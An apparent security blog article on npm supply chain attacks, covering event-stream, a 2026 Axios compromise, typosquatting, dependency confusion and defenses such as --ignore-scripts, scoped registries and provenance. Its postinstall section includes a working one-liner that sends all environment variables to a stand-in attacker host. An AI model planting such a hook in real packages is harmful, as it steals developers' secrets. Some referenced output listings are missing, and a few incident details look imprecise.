DevForum’s CI pipeline runs npm install before every build. It’s a routine step — has been for two years. No one watches the output carefully.
Inside node_modules/build-utils/package.json, a postinstall script has been waiting. It was added three weeks ago in a patch release of a package DevForum depends on indirectly — four levels deep in the dependency tree. The script runs automatically, without prompting, without sandboxing. It reads process.env, serialises every environment variable including DATABASE_URL, JWT_SECRET, and AWS_ACCESS_KEY_ID, and sends them to a server in a different country.
DevForum’s team never installed build-utils directly. They never reviewed it. They didn’t know it existed.
The Scale of the Problem
The average React application has between 800 and 1,200 transitive npm dependencies. A “transitive” dependency is any package that your direct dependencies depend on — recursively. You declared 40 packages in your package.json. Those 40 packages depend on 200 more. Those 200 depend on 600 more. And so on.
At the bottom of that chain are approximately 900 individual people whose security practices you know nothing about. Any one of them can publish a new version. Any one of them can be socially engineered, phished, or paid to add a backdoor. Any one of their accounts can be compromised.
You installed a lockfile. You did not install trust.
What a Supply Chain Attack Is
A supply chain attack compromises software upstream — at the source, the build tool, the package registry, or the package maintainer — so every downstream consumer is affected automatically. No user of the compromised package needs to do anything wrong. They just run npm install.
The defining property: the attack vector is the trust chain itself, not a vulnerability in the application’s own code.
The event-stream Incident (2018)
The most instructive supply chain attack in the npm ecosystem. Walked through step by step:
- Ownership transfer — a new contributor appears
event-streamis a popular npm package with tens of millions of weekly downloads, written by Dominic Tarr. In September 2018, a GitHub user namedright9ctrlcontacts Tarr and asks to take over maintenance. Tarr has not maintained the package in years. He agrees. He transfers ownership on npm.At this point, nothing is wrong. Maintainer transitions happen. The package is unchanged.
- A new dependency is quietly added
right9ctrlpublishesevent-stream@3.3.6. The release adds a single new dependency:flatmap-stream@0.1.1. Theflatmap-streampackage is also newly published by the same account. It is functionally unremarkable — a small streaming utility.The changelog does not mention the new dependency. The code diff shows only the addition. It passes automated checks. Downloads continue as normal.
- The encrypted payload
Inside
flatmap-stream, a production build contains an encrypted payload — not visible in the unminified source, only in the distributed build. The payload targets a very specific package:@copay-dash/client, a Bitcoin wallet library. It decrypts only if the wallet library is present in the samenode_modulestree, using a key derived from the wallet library’sdescriptionfield.If
@copay-dash/clientis not installed, the payload does nothing. The attack is invisible to everyone exceptcopay-dashusers. - Two months undetected
From September to November 2018, the malicious version is installed by every project that depends on
event-stream. For 99.9% of them, nothing visible happens — the payload finds no@copay-dash/clientand exits silently. Automated security scanners find no known CVEs.npm auditfinds nothing. The package appears completely normal. - Discovery and disclosure
On November 20, a GitHub user named
FallingSnowopens an issue on theevent-streamrepository titled “I don’t know what to say.” He noticed the newflatmap-streamdependency while investigating a build anomaly and found the encrypted payload by examining the distributed file. Within hours, the npm security team removes the malicious version from the registry. The damage tocopay-dashusers is assessed.The attack was sophisticated, targeted, and nearly invisible. It exploited the most fundamental trust in the ecosystem: the assumption that a package maintainer is the same person it always was.
The Axios Attack (March 2026)
Eight years after event-stream, the same playbook ran again — at a scale that made the earlier incident look contained.
Axios is one of the most downloaded npm packages in the ecosystem: roughly 100 million weekly installs. It is used in frontend apps, backend services, and CI/CD pipelines at virtually every company that runs JavaScript. An attacker compromised a maintainer’s npm account and published two malicious versions — axios@1.14.1 and axios@0.30.4 — on March 31, 2026. The packages were live for approximately two to three hours before npm removed them.
- Account compromise — same root cause, larger target
An attacker gained control of an Axios maintainer’s npm account. The exact method has not been fully disclosed, but credential theft or phishing is consistent with the pattern. With publish access, they pushed two new versions to the registry.
Crucially, they did not modify Axios source code. The package itself was unchanged — which is why static analysis and diff tools would not have flagged anything unusual.
- A hidden dependency added
The malicious versions introduced a single new dependency:
plain-crypto-js. This package had no legitimate purpose in Axios. It was published by the attacker specifically for this attack, designed to look like an innocuous cryptography utility.The attack vector was not in
axios/lib/. It was inpackage.json, in a line that most developers never look at after initial install. - postinstall delivers a RAT
plain-crypto-jscontained a maliciouspostinstallscript. Whennpm install axiosresolved the dependency tree and installedplain-crypto-js, npm executed the script automatically — no prompt, no sandbox, no user interaction required.The script was a dropper. It detected the host operating system and downloaded a platform-specific payload:
- Windows — PowerShell-based Remote Access Trojan
- macOS — C++ binary RAT
- Linux — Python-based RAT
Once installed, the RAT established a connection to an attacker-controlled C2 server and provided persistent remote access: arbitrary command execution, filesystem access, and the ability to read environment variables, SSH keys, cloud credentials, and any secret accessible to the process running
npm install. - Self-cleaning — no trace in node_modules
After the payload was delivered, the dropper script deleted itself and replaced tampered files with clean-looking versions. Inspecting
node_modulesafter the fact would not reveal the compromise. The only reliable indicators were the version numbers in the lockfile and the presence ofplain-crypto-jsas a transitive dependency. - Detection, removal, and attribution
Security researchers at Palo Alto Unit 42 identified the malicious packages within hours of publication. npm removed
axios@1.14.1,axios@0.30.4, andplain-crypto-jsfrom the registry. Google Cloud’s Threat Intelligence team attributed the campaign to UNC1069, a North Korea-linked threat actor known for financially motivated supply chain attacks.Any system that ran
npm install axiosduring the ~2–3 hour window — including CI/CD pipelines operating overnight — should be treated as fully compromised. Lockfile entries for either malicious version, or any entry forplain-crypto-js, are a confirmed indicator of exposure.
The event-stream attack targeted one app. The axios attack targeted every JavaScript developer. The attack vector — maintainer account compromise leading to a malicious transitive dependency with a postinstall hook — is identical. The blast radius is not.
Typosquatting
A simpler, less sophisticated attack: register a package name that looks like a well-known package, wait for developers to mistype it during npm install.
Real packages registered to harvest credentials from typos:
| Malicious package | Intended package | What it did |
|---|---|---|
crossenv | cross-env | Published 2017 — collected environment variables on install |
babelcli | babel-cli | Same technique — postinstall exfiltration |
mongose | mongoose | Targeted Mongoose ODM users |
lodahs | lodash | Collected and exfiltrated process.env |
discordjs | discord.js | Discord bot credential harvesting |
The attack requires no sophistication — just patience and a name that looks plausible. npm install mongose installs the attacker’s package with no warning. The error only appears if you notice the missing functionality later.
Dependency Confusion
A more targeted attack than typosquatting, exploiting how npm resolves package names when both a private registry and the public registry are configured.
DevForum has an internal package @devforum/utils published to a private GitHub Packages registry. The package is scoped — it begins with @devforum/ — so npm knows to look in the private registry.
Now consider a package named devforum-utils (no scope). If an attacker publishes this name on the public npm registry with a higher version number than the private @devforum/utils, some resolver configurations will prefer the public package — because the public registry is also consulted and the version is higher.
The attack is most effective when:
- The internal package name is known (exposed in job postings, error messages, or public repos)
- The
.npmrcscope configuration is incomplete or uses a wildcard - The CI pipeline does not pin exact registry sources per scope
The fix is to configure .npmrc with explicit scope-to-registry mappings and use --prefer-offline or a registry proxy (Verdaccio, Artifactory) that blocks unknown public packages from being substituted for internal ones.
# .npmrc — explicit scope isolation
@devforum:registry=https://npm.pkg.github.com
registry=https://registry.npmjs.org
With this configuration, anything in the @devforum scope is fetched exclusively from GitHub Packages. A public devforum-utils package is a different name and a different scope — no confusion is possible.
postinstall Hooks: The Silent Attack Vector
When npm installs a package, it automatically runs lifecycle scripts defined in that package’s package.json — preinstall, install, postinstall, and prepare. These scripts execute with the same permissions as the npm install command itself. No sandbox. No prompt.
A postinstall script has access to:
process.env— all environment variables, including secrets passed to CI- The filesystem — it can read any file your build user can read
- The network — it can make outbound connections to any server
{
"name": "build-utils",
"version": "2.1.4",
"scripts": {
"postinstall": "node -e \"require('https').request({hostname:'attacker.com',path:'/?d='+Buffer.from(JSON.stringify(process.env)).toString('base64'),method:'GET'}).end()\""
}
}
The output shows the postinstall line. Most engineers scroll past it. The found 0 vulnerabilities line provides false reassurance — npm audit only checks for known CVEs. A zero-day postinstall exfiltration produces no audit findings.
The Scale of Transitive Dependencies
To make the exposure concrete — this is what one direct dependency (react) pulls into a typical project:
Each of those packages has its own maintainer, its own release cycle, and its own postinstall script capability. react itself is thoroughly audited. The 47 Babel runtime helpers it pulls in — somewhat less so. The packages those pull in — you are trusting individuals you have never heard of.
Why Lockfiles Help — and Where They Stop
A lockfile (package-lock.json, yarn.lock, pnpm-lock.yaml) pins every package to an exact version and content hash. It means npm install in CI installs exactly the same code that ran on the developer’s machine.
This prevents version drift — where a new version with a vulnerability gets installed automatically. But it does not prevent:
- Malicious pinned versions. The lockfile pins the version that was current when it was generated. If that version was already malicious (as in event-stream@3.3.6), the lockfile faithfully installs the malicious version on every machine.
- Lockfile tampering. If an attacker can modify the lockfile in a pull request — a common vector in open-source projects — they can swap the content hash for a package to point at a malicious archive.
npm audit Limitations
npm audit is a useful baseline. It is not a supply chain security tool.
What it checks: your installed package versions against the npm Advisory Database — a list of disclosed CVEs and security issues that maintainers have reported and npm has accepted.
What it misses:
- Zero-day supply chain attacks — if no CVE has been filed, there is no finding
- Malicious new versions — a package that was safe yesterday and malicious today has no CVE yet
- Typosquatted packages — the package name is different; there’s nothing to match against
- Obfuscated payloads — encrypted or obfuscated code in
postinstallis not analysed - Ownership transfers — a package with a legitimate history, now under new malicious ownership, looks identical to a safe package
Use npm audit to track known vulnerabilities. Do not use it to assess supply chain risk.
Practical Mitigations
1. npm install --ignore-scripts in CI
The single highest-impact mitigation: tell npm not to run lifecycle scripts during installation.
# In your CI pipeline
npm ci --ignore-scripts
This blocks postinstall exfiltration entirely for packages that use it. The downside: some legitimate packages (native bindings like node-gyp, sharp, bcrypt) require postinstall to compile native code. You will need to explicitly allow those packages or run a post-install step for them separately.
2. Behavioural analysis: socket.dev and Snyk
Socket analyses packages for supply chain risk signals before they reach your project: new ownership, encrypted payloads, network access in install scripts, obfuscated code, permission changes. It acts at the diff level — when a dependency update is proposed, Socket shows whether the new version has suspicious behaviours the old one did not.
This catches what npm audit cannot: zero-day suspicious behaviour, not just known CVEs.
3. Automated version tracking: Dependabot and Renovate
Dependabot (GitHub) and Renovate (self-hosted or cloud) automatically open pull requests when your dependencies have available updates. This keeps you on recent, patched versions and surfaces lockfile changes as reviewable PRs rather than silent drift.
Neither is a security scanner — they surface updates, not risk signals. Combine with socket.dev or Snyk for behavioural analysis on the updated versions they propose.
4. Package metadata anomalies — what to check manually
Before installing an unfamiliar package or approving a dependency update PR, check:
- Published date vs download count. A package published two days ago with 50,000 weekly downloads is suspicious — it may have inherited downloads from a typosquatted name.
- Ownership history. Check the npm page for maintainer changes, especially recent ones.
npm info {package} maintainersshows current maintainers. - Repository mismatch. Does the npm package link to a legitimate GitHub repo? Is the repo’s code consistent with what’s in the published tarball?
- Dependency additions. If a patch-level version bump adds a new dependency, ask why. Patch versions should not add dependencies.
Private Registries and Scope Isolation
For internal packages, a private registry eliminates the dependency confusion vector entirely. Configure your .npmrc to route scoped packages to your private registry and use a registry proxy for public packages:
# .npmrc — full isolation setup
@devforum:registry=https://npm.pkg.github.com
//npm.pkg.github.com/:_authToken=${GITHUB_TOKEN}
# Route all other packages through Verdaccio proxy
# which has an allowlist of approved public packages
registry=https://verdaccio.internal.devforum.com
With a proxy registry (Verdaccio, Artifactory, Nexus), you can maintain an explicit allowlist of approved packages. Any package not on the list fails to install — typosquatting and dependency confusion cannot reach packages that are simply not in the allowlist.
The Future: Sigstore and Package Provenance
In 2023, npm added support for provenance attestations — cryptographically signed records linking a published package to the specific CI workflow that built it. When a package is published with provenance, npm records:
- The exact source repository and commit
- The CI/CD workflow that ran the build
- A transparency log entry (via Sigstore’s Rekor)
# Check provenance for a package
npm audit signatures
This doesn’t prevent a malicious maintainer from publishing a malicious package — but it makes the publication traceable. You can verify that a package was built from the code in its repository, not from a modified local copy.
| Tool / Technique | What it catches | What it misses | Cost |
|---|---|---|---|
| npm audit | Known CVEs in installed versions | Zero-day attacks, malicious new versions, typosquatting, obfuscated payloads | Free — built in |
| --ignore-scripts | postinstall exfiltration at install time | Malicious runtime code (not install-time); breaks packages needing native compile | Free — one flag |
| socket.dev / Snyk | Suspicious behaviours: new ownership, network access, encrypted payloads | Highly obfuscated payloads; very recent attacks not yet in their model | Paid tier for full features |
| Dependabot / Renovate | Outdated versions with known CVEs (via audit) | Supply chain risk — surfaces updates, does not analyse them | Free (Dependabot on GitHub) |
| Private registry proxy | Dependency confusion; unapproved packages | Compromised approved packages; attacks within the allowlist | Self-hosted or paid SaaS |
| Provenance (Sigstore) | Verifies package was built from auditable public source | Malicious code committed to the auditable source; malicious CI pipelines | Free — check npm page |
This is the highest-impact, zero-cost mitigation. It blocks postinstall exfiltration for the vast majority of supply chain attacks. Identify the packages that legitimately need to run postinstall (native bindings) and handle them explicitly — the list is short.
A PR that modifies package-lock.json without a corresponding package.json change, or that adds unexpected transitive packages, deserves scrutiny. Check the resolved URL and the integrity hash for any new or changed package.
npm audit tells you about known CVEs. Socket tells you about suspicious behaviour in the new version — new network access in postinstall, ownership transfers, encrypted payloads. Run it on every Dependabot or Renovate PR.
Configure .npmrc with explicit scope-to-registry mappings for all internal packages. Route public packages through a proxy with an approved package list. These two steps eliminate the dependency confusion vector entirely.
Typosquatting works because developers mistype package names. Copy the name from the official docs or an existing trusted package.json. Verify the package exists, has a real GitHub repository, and has a plausible download history before installing.